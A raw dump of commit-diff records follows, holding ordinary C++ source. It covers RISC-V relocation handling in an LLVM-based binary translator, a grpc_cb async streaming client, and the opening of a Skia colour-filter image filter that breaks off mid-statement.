{\n            if (!f) {\n                \/\/ function not found: it should be ahead of current\n                \/\/ translation address\n                xassert(saddr > _ctx->addr);\n                f = Function::getByAddr(_ctx, saddr);\n            }\n\n            DBGF(\"internal function: name=\\\"{0}\\\", saddr={1:X+8}\",\n                f->name(), saddr);\n            if (os)\n                *os << f->name();\n        } else {\n            DBGF(\"internal label: saddr={0:X+8}\", saddr);\n            if (os)\n                *os << llvm::formatv(\"{0:X+8}\", saddr);\n        }\n\n        \/\/ XXX for now, internal functions are always called\n        \/\/     indirectly, via icaller, so return just their\n        \/\/     original guest address\n        c = _ctx->c.i32(saddr);\n\n    \/\/ other relocations\n    \/\/ add the relocation offset to ShadowImage to get the final address\n    } else {\n        xassert(reloc->hasSec());\n        uint64_t saddr;\n\n        if (reloc->hasSym()) {\n            DBGF(\"symbol reloc: symbol=\\\"{0}\\\", addend={1:X+8}, section=\\\"{2}\\\"\",\n                reloc->symName(), reloc->addend(), reloc->secName());\n\n            saddr = reloc->symAddr() + reloc->addend();\n\n            if (os)\n                *os << reloc->symName();\n\n        } else {\n            DBGF(\"section reloc: section=\\\"{0}\\\", addend={1:X+8}\",\n                reloc->secName(), reloc->addend());\n\n            saddr = reloc->addend();\n\n            if (os)\n                *os << llvm::formatv(\"{0}+{1:X+8}\",\n                    reloc->secName(), reloc->addend());\n        }\n\n        \/\/ TODO speed up section lookup for relocations\n        c = llvm::ConstantExpr::getAdd(\n            _ctx->shadowImage->getSection(reloc->secName()),\n            _ctx->c.i32(saddr));\n    }\n\n    _lastSymVal = c;\n    c = relfn(c);\n    DBG(c->dump());\n    _last = reloc;\n    return c;\n}\n\n\nbool SBTRelocation::isCall(uint64_t addr) const\n{\n    return _last && _last->offset() == addr &&\n        _last->type() == Relocation::PROXY_CALL_LO;\n}\n\n\nllvm::Constant* SBTRelocation::lastSymVal() const\n{\n    xassert(_lastSymVal);\n    return _lastSymVal;\n}\n\n\nllvm::GlobalVariable* SBTRelocation::relocateSection(\n    const std::vector<uint8_t>& bytes,\n    const ShadowImage* shadowImage)\n{\n    xassert(_section);\n    DBGF(\"relocating section {0}\", _section->name());\n    std::vector<llvm::Constant*> cvec;\n\n    size_t n = bytes.size();\n    ConstRelocIter rit = _ri;\n\n    for (size_t addr = 0; addr < n; addr+=4) {\n        \/\/ reloc\n        if (rit != _re && addr == (*rit)->offset()) {\n            ConstRelocationPtr reloc = *rit;\n            switch (reloc->type()) {\n                case llvm::ELF::R_RISCV_32: {\n                    uint64_t addr = reloc->addend();\n                    xassert(reloc->hasSec());\n                    if (reloc->hasSym()) {\n                        addr += reloc->symAddr();\n                        DBGF(\n                            \"relocating {0:X-8}: \"\n                            \"symbol=\\\"{1}\\\", symaddr={2:X+8}, \"\n                            \"section=\\\"{3}\\\", addend={4:X+8}, \"\n                            \"addr={5:X-8}\",\n                            reloc->offset(),\n                            reloc->symName(), reloc->symAddr(),\n                            reloc->secName(), reloc->addend(),\n                            addr);\n                    } else {\n                        DBGF(\n                            \"relocating {0:X-8}: \"\n                            \"section=\\\"{1}\\\", addend={2:X+8}\",\n                            reloc->offset(),\n                            reloc->secName(), reloc->addend());\n                    }\n\n                    llvm::Constant* cexpr =\n                        llvm::ConstantExpr::getAdd(\n                            shadowImage->getSection(reloc->secName()),\n                            _ctx->c.u32(addr));\n                    cvec.push_back(cexpr);\n                    break;\n                }\n\n                default:\n                    DBGF(\"unknown relocation type: {0}\", reloc->type());\n                    xunreachable(\"Unsupported relocation type\");\n            }\n            ++rit;\n        \/\/ or just copy the raw bytes\n        } else {\n            uint32_t val = *(uint32_t*)&bytes[addr];\n            DBGF(\"copying raw bytes @{0:X-8}: {1:X-8}\", addr, val);\n            cvec.push_back(_ctx->c.u32(val));\n        }\n    }\n\n    llvm::ArrayType* aty = llvm::ArrayType::get(_ctx->t.i32, cvec.size());\n    llvm::Constant* ca = llvm::ConstantArray::get(aty, cvec);\n    return new llvm::GlobalVariable(*_ctx->module, ca->getType(),\n        !CONSTANT, llvm::GlobalValue::ExternalLinkage, ca);\n}\n\n}\n<commit_msg>Fix SBT crash<commit_after>#include \"Relocation.h\"\n\n#include \"Builder.h\"\n#include \"Instruction.h\"\n#include \"Object.h\"\n#include \"SBTError.h\"\n#include \"Section.h\"\n#include \"ShadowImage.h\"\n#include \"Translator.h\"\n\n#include <llvm\/IR\/Module.h>\n#include <llvm\/Object\/ELF.h>\n#include <llvm\/Support\/FormatVariadic.h>\n\n#undef ENABLE_DBGS\n#define ENABLE_DBGS 1\n#include \"Debug.h\"\n\n#include <functional>\n\n\nnamespace sbt {\n\nSBTRelocation::SBTRelocation(\n    Context* ctx,\n    ConstRelocIter ri,\n    ConstRelocIter re,\n    ConstSectionPtr section)\n    :\n    _ctx(ctx),\n    _ri(ri),\n    _re(re),\n    _section(section),\n    _cur(nullptr),\n    _curP(nullptr)\n{\n    _cur = nextReloc(true);\n}\n\n\nConstRelocationPtr SBTRelocation::nextReloc(bool init)\n{\n    if (init)\n        _cur = _ri == _re? nullptr : *_ri;\n    else {\n        xassert(_cur == *_ri);\n        ++_ri;\n        if (_ri != _re)\n            _cur = *_ri;\n        else\n            _cur = nullptr;\n    }\n\n    \/\/ skip relax\n    if (_cur && _cur->type() == llvm::ELF::R_RISCV_RELAX)\n        return nextReloc();\n    return _cur;\n}\n\n\nConstRelocationPtr SBTRelocation::nextPReloc()\n{\n    xassert(_curP == _proxyRelocs.front());\n    _proxyRelocs.pop();\n    if (!_proxyRelocs.empty())\n        _curP = _proxyRelocs.front();\n    else\n        _curP = nullptr;\n    return _curP;\n}\n\n\nConstRelocationPtr SBTRelocation::getReloc(uint64_t addr)\n{\n    if (!_cur && !_curP)\n        return nullptr;\n\n    \/\/ check if we skipped some addresses and now need to\n    \/\/ advance the iterator\n    while (_cur && addr > _cur->offset())\n        nextReloc();\n    while (_curP && addr > _curP->offset())\n        nextPReloc();\n\n    ConstRelocationPtr ret = nullptr, next = nullptr;\n    if (_cur && _cur->offset() == addr) {\n        ret = _cur;\n        next = nextReloc();\n    } else if (_curP && _curP->offset() == addr) {\n        ret = _curP;\n        next = nextPReloc();\n    }\n\n    xassert(!next || next->offset() != addr);\n    return ret;\n}\n\n\nvoid SBTRelocation::skipRelocation(uint64_t addr)\n{\n    \/\/ check if there is a relocation for current address\n    getReloc(addr);\n}\n\n\nvoid SBTRelocation::addProxyReloc(ConstRelocationPtr reloc,\n    Relocation::RType rtype)\n{\n    const LLVMRelocation* llrel = static_cast<const LLVMRelocation*>(&*reloc);\n    ProxyRelocation* hi = new ProxyRelocation(*llrel);\n    ProxyRelocation* lo = new ProxyRelocation(*llrel);\n\n    switch (rtype) {\n        case Relocation::PROXY:\n            hi->setType(Relocation::PROXY_HI);\n            lo->setType(Relocation::PROXY_LO);\n            break;\n        case Relocation::PROXY_PCREL:\n            hi->setType(Relocation::PROXY_PCREL_HI);\n            lo->setType(Relocation::PROXY_PCREL_LO);\n            lo->setHiPC(hi->offset());\n            break;\n        case Relocation::PROXY_CALL:\n            hi->setType(Relocation::PROXY_CALL_HI);\n            lo->setType(Relocation::PROXY_CALL_LO);\n            break;\n        default:\n            xunreachable(\"Unknown proxy relocation type\");\n    }\n\n    lo->setOffset(hi->offset() + Constants::INSTRUCTION_SIZE);\n\n    _proxyRelocs.emplace(hi);\n    _proxyRelocs.emplace(lo);\n\n    if (!_curP)\n        _curP = _proxyRelocs.front();\n}\n\n\nllvm::Expected<llvm::Constant*>\nSBTRelocation::handleRelocation(uint64_t addr, llvm::raw_ostream* os)\n{\n    ConstRelocationPtr reloc = getReloc(addr);\n\n    \/\/ no more relocations exist\n    if (!reloc)\n        return nullptr;\n\n    DBGS << __METHOD_NAME__ << llvm::formatv(\"({0:X+8})\\n\", addr);\n    DBGF(\"{0}\", reloc->str());\n\n    std::function<llvm::Constant*(llvm::Constant* addr)> relfn;\n\n    switch (reloc->type()) {\n        case Relocation::PROXY_HI:\n        case llvm::ELF::R_RISCV_HI20:\n            \/\/ hi20 = (symbol_address + 0x800) >> 12\n            relfn = [this](llvm::Constant* addr) {\n                llvm::Constant* c = llvm::ConstantExpr::getAdd(\n                    addr, _ctx->c.u32(0x800));\n                c = llvm::ConstantExpr::getLShr(c, _ctx->c.u32(12));\n                return c;\n            };\n            break;\n\n        case Relocation::PROXY_LO:\n        case llvm::ELF::R_RISCV_LO12_I:\n        case llvm::ELF::R_RISCV_LO12_S:\n            \/\/ lo12 = symbol_address - hi20\n            \/\/ hi20 = (symbol_address + 0x800) & 0xFFFFF000\n            relfn = [this](llvm::Constant* addr) {\n                llvm::Constant* hi20 = llvm::ConstantExpr::getAdd(\n                    addr, _ctx->c.u32(0x800));\n                hi20 = llvm::ConstantExpr::getAnd(\n                    hi20, _ctx->c.u32(0xFFFFF000));\n\n                llvm::Constant* c = llvm::ConstantExpr::getSub(addr, hi20);\n                return c;\n            };\n            break;\n\n        case Relocation::PROXY_CALL_HI:\n        case Relocation::PROXY_PCREL_HI:\n            \/\/ hi20 = (symbol_address - pc + 0x800) >> 12\n            relfn = [this, addr](llvm::Constant* symaddr) {\n                llvm::Constant* c = llvm::ConstantExpr::getSub(\n                    symaddr, _ctx->c.u32(addr));\n                c = llvm::ConstantExpr::getAdd(c, _ctx->c.u32(0x800));\n                c = llvm::ConstantExpr::getLShr(c, _ctx->c.u32(12));\n                return c;\n            };\n            break;\n\n        case Relocation::PROXY_CALL_LO:\n        case Relocation::PROXY_PCREL_LO:\n            \/\/ lo12 = symbol_address - hipc - hi20\n            \/\/ hi20 = (symbol_address - hipc + 0x800) & 0xFFFFF000\n            relfn = [this, &reloc](llvm::Constant* symaddr) {\n                const ProxyRelocation* pr =\n                    static_cast<const ProxyRelocation*>(reloc.get());\n                llvm::Constant* hipc = _ctx->c.u32(pr->hiPC());\n\n                llvm::Constant* hi20 = llvm::ConstantExpr::getSub(\n                    symaddr, hipc);\n                hi20 = llvm::ConstantExpr::getAdd(hi20, _ctx->c.u32(0x800));\n                hi20 = llvm::ConstantExpr::getAnd(\n                        hi20, _ctx->c.u32(0xFFFFF000));\n\n                llvm::Constant* c = llvm::ConstantExpr::getSub(\n                    symaddr, hipc);\n                c = llvm::ConstantExpr::getSub(c, hi20);\n                return c;\n            };\n            break;\n\n        case llvm::ELF::R_RISCV_CALL:\n            addProxyReloc(reloc, Relocation::PROXY_CALL);\n            return handleRelocation(addr, os);\n\n        case llvm::ELF::R_RISCV_PCREL_HI20:\n        case llvm::ELF::R_RISCV_PCREL_LO12_I:\n        case llvm::ELF::R_RISCV_PCREL_LO12_S:\n        default:\n            xunreachable(\"unknown relocation\");\n    }\n\n    bool isLocalFunc = reloc->isLocalFunction();\n    bool isExt = reloc->isExternal();\n    reloc->validate();\n\n    llvm::Constant* c = nullptr;\n\n    \/\/ external symbol case: handle data or function\n    if (isExt) {\n        auto expAddr =_ctx->translator->import(reloc->symName());\n        if (!expAddr)\n            return expAddr.takeError();\n        uint64_t saddr = expAddr.get().first;\n        const std::string& xfunc = expAddr.get().second;\n\n        \/\/ data\n        if (saddr == SYM_TYPE_DATA) {\n            DBGF(\"external data: saddr={0:X+8}\", saddr);\n\n            const Types& t = _ctx->t;\n            c = _ctx->module->getOrInsertGlobal(reloc->symName(), t.i32);\n            c = llvm::ConstantExpr::getPointerCast(c, t.i32);\n\n        \/\/ handle external function\n        } else {\n            DBGF(\"external function: saddr={0:X+8}\", saddr);\n            c = _ctx->c.i32(saddr);\n        }\n\n        if (os)\n            *os << xfunc;\n\n    \/\/ internal function or label case\n    \/\/ XXX we rely on symbol information to distinguish\n    \/\/     between function or label (see isFunction())\n    } else if (isLocalFunc) {\n        \/\/ get address\n        uint64_t saddr;\n        if (reloc->hasSym())\n            saddr = reloc->symAddr();\n        else\n            saddr = reloc->addend();\n\n        bool isFunc = Function::isFunction(_ctx, saddr);\n        Function* f = _ctx->funcByAddr(saddr, !ASSERT_NOT_NULL);\n\n        if (isFunc) {\n            if (!f) {\n                \/\/ function not found: it should be ahead of current\n                \/\/ translation address\n                xassert(saddr > _ctx->addr);\n                f = Function::getByAddr(_ctx, saddr);\n            }\n\n            DBGF(\"internal function: name=\\\"{0}\\\", saddr={1:X+8}\",\n                f->name(), saddr);\n            if (os)\n                *os << f->name();\n        } else {\n            DBGF(\"internal label: saddr={0:X+8}\", saddr);\n            if (os)\n                *os << llvm::formatv(\"{0:X+8}\", saddr);\n        }\n\n        \/\/ XXX for now, internal functions are always called\n        \/\/     indirectly, via icaller, so return just their\n        \/\/     original guest address\n        c = _ctx->c.i32(saddr);\n\n    \/\/ other relocations\n    \/\/ add the relocation offset to ShadowImage to get the final address\n    } else {\n        xassert(reloc->hasSec());\n        uint64_t saddr;\n\n        if (reloc->hasSym()) {\n            DBGF(\"symbol reloc: symbol=\\\"{0}\\\", addend={1:X+8}, section=\\\"{2}\\\"\",\n                reloc->symName(), reloc->addend(), reloc->secName());\n\n            saddr = reloc->symAddr() + reloc->addend();\n\n            if (os)\n                *os << reloc->symName();\n\n        } else {\n            DBGF(\"section reloc: section=\\\"{0}\\\", addend={1:X+8}\",\n                reloc->secName(), reloc->addend());\n\n            saddr = reloc->addend();\n\n            if (os)\n                *os << llvm::formatv(\"{0}+{1:X+8}\",\n                    reloc->secName(), reloc->addend());\n        }\n\n        \/\/ TODO speed up section lookup for relocations\n        c = llvm::ConstantExpr::getAdd(\n            _ctx->shadowImage->getSection(reloc->secName()),\n            _ctx->c.i32(saddr));\n    }\n\n    _lastSymVal = c;\n    c = relfn(c);\n    DBG(c->dump());\n    _last = reloc;\n    return c;\n}\n\n\nbool SBTRelocation::isCall(uint64_t addr) const\n{\n    return _last && _last->offset() == addr &&\n        _last->type() == Relocation::PROXY_CALL_LO;\n}\n\n\nllvm::Constant* SBTRelocation::lastSymVal() const\n{\n    xassert(_lastSymVal);\n    return _lastSymVal;\n}\n\n\nllvm::GlobalVariable* SBTRelocation::relocateSection(\n    const std::vector<uint8_t>& bytes,\n    const ShadowImage* shadowImage)\n{\n    xassert(_section);\n    DBGF(\"relocating section {0}\", _section->name());\n    std::vector<llvm::Constant*> cvec;\n\n    size_t n = bytes.size();\n    ConstRelocIter rit = _ri;\n\n    for (size_t addr = 0; addr < n; addr+=4) {\n        \/\/ reloc\n        if (rit != _re && addr == (*rit)->offset()) {\n            ConstRelocationPtr reloc = *rit;\n            switch (reloc->type()) {\n                case llvm::ELF::R_RISCV_32: {\n                    uint64_t addr = reloc->addend();\n                    xassert(reloc->hasSec());\n                    if (reloc->hasSym()) {\n                        addr += reloc->symAddr();\n                        DBGF(\n                            \"relocating {0:X-8}: \"\n                            \"symbol=\\\"{1}\\\", symaddr={2:X+8}, \"\n                            \"section=\\\"{3}\\\", addend={4:X+8}, \"\n                            \"addr={5:X-8}\",\n                            reloc->offset(),\n                            reloc->symName(), reloc->symAddr(),\n                            reloc->secName(), reloc->addend(),\n                            addr);\n                    } else {\n                        DBGF(\n                            \"relocating {0:X-8}: \"\n                            \"section=\\\"{1}\\\", addend={2:X+8}\",\n                            reloc->offset(),\n                            reloc->secName(), reloc->addend());\n                    }\n\n                    llvm::Constant* cexpr =\n                        llvm::ConstantExpr::getAdd(\n                            shadowImage->getSection(reloc->secName()),\n                            _ctx->c.u32(addr));\n                    cvec.push_back(cexpr);\n                    break;\n                }\n\n                default:\n                    DBGF(\"unknown relocation type: {0}\", reloc->type());\n                    xunreachable(\"Unsupported relocation type\");\n            }\n            ++rit;\n        \/\/ or just copy the raw bytes\n        } else {\n            uint32_t val = *(uint32_t*)&bytes[addr];\n            DBGF(\"copying raw bytes @{0:X-8}: {1:X-8}\", addr, val);\n            cvec.push_back(_ctx->c.u32(val));\n        }\n    }\n\n    llvm::ArrayType* aty = llvm::ArrayType::get(_ctx->t.i32, cvec.size());\n    llvm::Constant* ca = llvm::ConstantArray::get(aty, cvec);\n    return new llvm::GlobalVariable(*_ctx->module, ca->getType(),\n        !CONSTANT, llvm::GlobalValue::ExternalLinkage, ca);\n}\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Licensed under the Apache License, Version 2.0.\n\/\/ Author: Jin Qing (http:\/\/blog.csdn.net\/jq0123)\n\n#include \"client_async_reader_writer_impl2.h\"\n\n#include <grpc_cb\/channel.h>                           \/\/ for MakeSharedCall()\n#include <grpc_cb\/impl\/client\/client_recv_init_md_cqtag.h>  \/\/ for ClientRecvInitMdCqTag\n#include <grpc_cb\/impl\/client\/client_send_close_cqtag.h>    \/\/ for ClientSendCloseCqTag\n#include <grpc_cb\/impl\/client\/client_send_init_md_cqtag.h>  \/\/ ClientSendInitMdCqTag\n\n#include \"client_async_reader_helper.h\"  \/\/ for ClientAsyncReaderHelper\n#include \"client_async_writer_helper.h\"  \/\/ for ClientAsyncWriterHelper\n\nnamespace grpc_cb {\n\nusing Sptr = std::shared_ptr<ClientAsyncReaderWriterImpl2>;\n\n\/\/ Todo: BlockingGetInitMd();\n\nClientAsyncReaderWriterImpl2::ClientAsyncReaderWriterImpl2(\n    const ChannelSptr& channel, const std::string& method,\n    const CompletionQueueSptr& cq_sptr, const StatusCallback& on_status)\n    : call_sptr_(channel->MakeSharedCall(method, *cq_sptr)),\n      on_status_(on_status) {\n  assert(cq_sptr);\n  assert(call_sptr_);\n\n  ClientSendInitMdCqTag* send_tag = new ClientSendInitMdCqTag(call_sptr_);\n  if (!send_tag->Start()) {\n    delete send_tag;\n    SetInternalError(\"Failed to send init metadata to init stream.\");\n    return;\n  }\n\n  ClientRecvInitMdCqTag* recv_tag = new ClientRecvInitMdCqTag(call_sptr_);\n  if (!recv_tag->Start()) {\n    delete recv_tag;\n    SetInternalError(\"Failed to receive init metadata to init stream.\");\n    return;\n  }\n}\n\nClientAsyncReaderWriterImpl2::~ClientAsyncReaderWriterImpl2() {\n  \/\/ Reader and Writer helpers share this.\n  assert(!reader_sptr_);\n  assert(!writer_sptr_);\n  SendCloseIfNot();\n}\n\nbool ClientAsyncReaderWriterImpl2::Write(const MessageSptr& msg_sptr) {\n  Guard g(mtx_);\n\n  if (!status_.ok()) {\n    assert(!reader_sptr_ && !writer_sptr_);\n    return false;\n  }\n\n  if (writer_sptr_)\n    return writer_sptr_->Queue(msg_sptr);\n  if (writing_started_)  \/\/ but writer_sptr_ is reset\n    return false;\n\n  \/\/ new writer only once\n  writing_started_ = true;\n  \/\/ Impl2 and WriterHelper share each other untill OnEndOfWriting().\n  auto sptr = shared_from_this();  \/\/ can not in ctr().\n  writer_sptr_.reset(new ClientAsyncWriterHelper(call_sptr_,\n      [sptr]() { sptr->OnEndOfWriting(); }));\n  return writer_sptr_->Queue(msg_sptr);\n}\n\nvoid ClientAsyncReaderWriterImpl2::CloseWriting() {\n  Guard g(mtx_);\n  writing_started_ = true;  \/\/ Maybe without any Write().\n\n  \/\/ End when all messages are written.\n  if (writer_sptr_)\n      writer_sptr_->QueueEnd();\n}\n\n\/\/ Called in dtr().\n\/\/ Send close only if reading and writing are both ended.\nvoid ClientAsyncReaderWriterImpl2::SendCloseIfNot() {\n  assert(!reader_sptr_);  \/\/ Must be ended.\n  assert(!writer_sptr_);  \/\/ Must be ended.\n  if (!status_.ok()) return;\n  if (has_sent_close_) return;\n  has_sent_close_ = true;\n\n  ClientSendCloseCqTag* tag = new ClientSendCloseCqTag(call_sptr_);\n  if (tag->Start()) {\n    CallOnStatus();\n    return;\n  }\n\n  delete tag;\n  SetInternalError(\"Failed to close writing.\");  \/\/ calls on_status_\n}\n\n\/\/ Todo: same as ClientReader?\n\nvoid ClientAsyncReaderWriterImpl2::ReadEach(\n    const ReadHandlerSptr& handler_sptr) {\n  Guard g(mtx_);\n\n  read_handler_sptr_ = handler_sptr;\n  if (reading_started_) return;\n  reading_started_ = true;  \/\/ new reader_sptr_ once\n\n  assert(!reader_sptr_);\n  \/\/ Impl2 and ReaderHelper will share each other until OnEndOfReading().\n  auto sptr = shared_from_this();\n  reader_sptr_.reset(new ClientAsyncReaderHelper(\n      call_sptr_, read_handler_sptr_, [sptr]() { sptr->OnEndOfReading(); }));\n  reader_sptr_->Start();\n}\n\nvoid ClientAsyncReaderWriterImpl2::OnEndOfReading() {\n  Guard g(mtx_);\n  if (!reader_sptr_) return;\n  Status r_status(reader_sptr_->GetStatus());  \/\/ before reset()\n  reader_sptr_.reset();  \/\/ Stop circular sharing.\n\n  if (!status_.ok()) return;\n  status_ = r_status;\n  if (!status_.ok()) {\n    CallOnStatus();\n    return;\n  }\n\n  assert(IsReadingEnded());\n  if (IsWritingEnded())\n    SendCloseIfNot();\n}\n\nvoid ClientAsyncReaderWriterImpl2::OnEndOfWriting() {\n  Guard g(mtx_);\n  if (!writer_sptr_) return;\n  Status w_status(writer_sptr_->GetStatus());  \/\/ before reset()\n  writer_sptr_.reset();  \/\/ Stop circular sharing.\n\n  if (!status_.ok()) return;\n  status_ = w_status;\n  if (!status_.ok()) {\n    CallOnStatus();\n    return;\n  }\n\n  assert(IsWritingEnded());\n  if (IsReadingEnded())\n    SendCloseIfNot();\n}\n\n\/\/ Set status and callback and reset helpers.\nvoid ClientAsyncReaderWriterImpl2::SetInternalError(const std::string& sError) {\n  status_.SetInternalError(sError);\n  CallOnStatus();\n\n  if (reader_sptr_) {\n    reader_sptr_->Abort();\n    reader_sptr_.reset();\n  }\n  if (writer_sptr_) {\n    writer_sptr_->Abort();\n    writer_sptr_.reset();\n  }\n}\n\nbool ClientAsyncReaderWriterImpl2::IsReadingEnded() const {\n  return reading_started_ && !reader_sptr_;\n}\n\nbool ClientAsyncReaderWriterImpl2::IsWritingEnded() const {\n  return writing_started_ && !writer_sptr_;\n}\n\nvoid ClientAsyncReaderWriterImpl2::CallOnStatus() {\n  if (!on_status_) return;\n  on_status_(status_);\n  on_status_ = StatusCallback();\n}\n\n}  \/\/ namespace grpc_cb\n<commit_msg>Format.<commit_after>\/\/ Licensed under the Apache License, Version 2.0.\n\/\/ Author: Jin Qing (http:\/\/blog.csdn.net\/jq0123)\n\n#include \"client_async_reader_writer_impl2.h\"\n\n#include <grpc_cb\/channel.h>  \/\/ for MakeSharedCall()\n#include <grpc_cb\/impl\/client\/client_recv_init_md_cqtag.h>  \/\/ for ClientRecvInitMdCqTag\n#include <grpc_cb\/impl\/client\/client_send_close_cqtag.h>    \/\/ for ClientSendCloseCqTag\n#include <grpc_cb\/impl\/client\/client_send_init_md_cqtag.h>  \/\/ ClientSendInitMdCqTag\n\n#include \"client_async_reader_helper.h\"  \/\/ for ClientAsyncReaderHelper\n#include \"client_async_writer_helper.h\"  \/\/ for ClientAsyncWriterHelper\n\nnamespace grpc_cb {\n\nusing Sptr = std::shared_ptr<ClientAsyncReaderWriterImpl2>;\n\n\/\/ Todo: BlockingGetInitMd();\n\nClientAsyncReaderWriterImpl2::ClientAsyncReaderWriterImpl2(\n    const ChannelSptr& channel, const std::string& method,\n    const CompletionQueueSptr& cq_sptr, const StatusCallback& on_status)\n    : call_sptr_(channel->MakeSharedCall(method, *cq_sptr)),\n      on_status_(on_status) {\n  assert(cq_sptr);\n  assert(call_sptr_);\n\n  ClientSendInitMdCqTag* send_tag = new ClientSendInitMdCqTag(call_sptr_);\n  if (!send_tag->Start()) {\n    delete send_tag;\n    SetInternalError(\"Failed to send init metadata to init stream.\");\n    return;\n  }\n\n  ClientRecvInitMdCqTag* recv_tag = new ClientRecvInitMdCqTag(call_sptr_);\n  if (!recv_tag->Start()) {\n    delete recv_tag;\n    SetInternalError(\"Failed to receive init metadata to init stream.\");\n    return;\n  }\n}\n\nClientAsyncReaderWriterImpl2::~ClientAsyncReaderWriterImpl2() {\n  \/\/ Reader and Writer helpers share this.\n  assert(!reader_sptr_);\n  assert(!writer_sptr_);\n  SendCloseIfNot();\n}\n\nbool ClientAsyncReaderWriterImpl2::Write(const MessageSptr& msg_sptr) {\n  Guard g(mtx_);\n\n  if (!status_.ok()) {\n    assert(!reader_sptr_ && !writer_sptr_);\n    return false;\n  }\n\n  if (writer_sptr_)\n    return writer_sptr_->Queue(msg_sptr);\n  if (writing_started_)  \/\/ but writer_sptr_ is reset\n    return false;\n\n  \/\/ new writer only once\n  writing_started_ = true;\n  \/\/ Impl2 and WriterHelper share each other untill OnEndOfWriting().\n  auto sptr = shared_from_this();  \/\/ can not in ctr().\n  writer_sptr_.reset(new ClientAsyncWriterHelper(call_sptr_,\n      [sptr]() { sptr->OnEndOfWriting(); }));\n  return writer_sptr_->Queue(msg_sptr);\n}\n\nvoid ClientAsyncReaderWriterImpl2::CloseWriting() {\n  Guard g(mtx_);\n  writing_started_ = true;  \/\/ Maybe without any Write().\n\n  \/\/ End when all messages are written.\n  if (writer_sptr_)\n      writer_sptr_->QueueEnd();\n}\n\n\/\/ Called in dtr().\n\/\/ Send close only if reading and writing are both ended.\nvoid ClientAsyncReaderWriterImpl2::SendCloseIfNot() {\n  assert(!reader_sptr_);  \/\/ Must be ended.\n  assert(!writer_sptr_);  \/\/ Must be ended.\n  if (!status_.ok()) return;\n  if (has_sent_close_) return;\n  has_sent_close_ = true;\n\n  ClientSendCloseCqTag* tag = new ClientSendCloseCqTag(call_sptr_);\n  if (tag->Start()) {\n    CallOnStatus();\n    return;\n  }\n\n  delete tag;\n  SetInternalError(\"Failed to close writing.\");  \/\/ calls on_status_\n}\n\n\/\/ Todo: same as ClientReader?\n\nvoid ClientAsyncReaderWriterImpl2::ReadEach(\n    const ReadHandlerSptr& handler_sptr) {\n  Guard g(mtx_);\n\n  read_handler_sptr_ = handler_sptr;\n  if (reading_started_) return;\n  reading_started_ = true;  \/\/ new reader_sptr_ once\n\n  assert(!reader_sptr_);\n  \/\/ Impl2 and ReaderHelper will share each other until OnEndOfReading().\n  auto sptr = shared_from_this();\n  reader_sptr_.reset(new ClientAsyncReaderHelper(\n      call_sptr_, read_handler_sptr_, [sptr]() { sptr->OnEndOfReading(); }));\n  reader_sptr_->Start();\n}\n\nvoid ClientAsyncReaderWriterImpl2::OnEndOfReading() {\n  Guard g(mtx_);\n  if (!reader_sptr_) return;\n  Status r_status(reader_sptr_->GetStatus());  \/\/ before reset()\n  reader_sptr_.reset();  \/\/ Stop circular sharing.\n\n  if (!status_.ok()) return;\n  status_ = r_status;\n  if (!status_.ok()) {\n    CallOnStatus();\n    return;\n  }\n\n  assert(IsReadingEnded());\n  if (IsWritingEnded())\n    SendCloseIfNot();\n}\n\nvoid ClientAsyncReaderWriterImpl2::OnEndOfWriting() {\n  Guard g(mtx_);\n  if (!writer_sptr_) return;\n  Status w_status(writer_sptr_->GetStatus());  \/\/ before reset()\n  writer_sptr_.reset();  \/\/ Stop circular sharing.\n\n  if (!status_.ok()) return;\n  status_ = w_status;\n  if (!status_.ok()) {\n    CallOnStatus();\n    return;\n  }\n\n  assert(IsWritingEnded());\n  if (IsReadingEnded())\n    SendCloseIfNot();\n}\n\n\/\/ Set status and callback and reset helpers.\nvoid ClientAsyncReaderWriterImpl2::SetInternalError(const std::string& sError) {\n  status_.SetInternalError(sError);\n  CallOnStatus();\n\n  if (reader_sptr_) {\n    reader_sptr_->Abort();\n    reader_sptr_.reset();\n  }\n  if (writer_sptr_) {\n    writer_sptr_->Abort();\n    writer_sptr_.reset();\n  }\n}\n\nbool ClientAsyncReaderWriterImpl2::IsReadingEnded() const {\n  return reading_started_ && !reader_sptr_;\n}\n\nbool ClientAsyncReaderWriterImpl2::IsWritingEnded() const {\n  return writing_started_ && !writer_sptr_;\n}\n\nvoid ClientAsyncReaderWriterImpl2::CallOnStatus() {\n  if (!on_status_) return;\n  on_status_(status_);\n  on_status_ = StatusCallback();\n}\n\n}  \/\/ namespace grpc_cb\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright 2012 The Android Open Source Project\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include \"include\/core\/SkCanvas.h\"\n#include \"include\/core\/SkColorFilter.h\"\n#include \"include\/effects\/SkImageFilters.h\"\n#include \"src\/core\/SkColorFilterBase.h\"\n#include \"src\/core\/SkImageFilter_Base.h\"\n#include \"src\/core\/SkReadBuffer.h\"\n#include \"src\/core\/SkSpecialImage.h\"\n#include \"src\/core\/SkSpecialSurface.h\"\n#include \"src\/core\/SkWriteBuffer.h\"\n\nnamespace {\n\nclass SkColorFilterImageFilter final : public SkImageFilter_Base {\npublic:\n    SkColorFilterImageFilter(sk_sp<SkColorFilter> cf, sk_sp<SkImageFilter> input,\n                             const SkRect* cropRect)\n            : INHERITED(&input, 1, cropRect)\n            , fColorFilter(std::move(cf)) {}\n\nprotected:\n    void flatten(SkWriteBuffer&) const override;\n    sk_sp<SkSpecialImage> onFilterImage(const Context&, SkIPoint* offset) const override;\n    bool onIsColorFilterNode(SkColorFilter**) const override;\n    MatrixCapability onGetCTMCapability() const override { return MatrixCapability::kComplex; }\n    bool onAffectsTransparentBlack() const override;\n\nprivate:\n    friend void ::SkRegisterColorFilterImageFilterFlattenable();\n    SK_FLATTENABLE_HOOKS(SkColorFilterImageFilter)\n\n    sk_sp<SkColorFilter> fColorFilter;\n\n    using INHERITED = SkImageFilter_Base;\n};\n\n} \/\/ end namespace\n\nsk_sp<SkImageFilter> SkImageFilters::ColorFilter(\n        sk_sp<SkColorFilter> cf, sk_sp<SkImageFilter> input, const CropRect& cropRect) {\n    if (!cf) {\n        return nullptr;\n    }\n\n    SkColorFilter* inputCF;\n    if (input && input->isColorFilterNode(&inputCF)) {\n        \/\/ This is an optimization, as it collapses the hierarchy by just combining the two\n        \/\/ colorfilters into a single one, which the new imagefilter will wrap.\n        sk_sp<SkColorFilter> newCF = cf->makeComposed(sk_sp<SkColorFilter>(inputCF));\n        if (newCF) {\n            return sk_sp<SkImageFilter>(new SkColorFilterImageFilter(\n                    std::move(newCF), 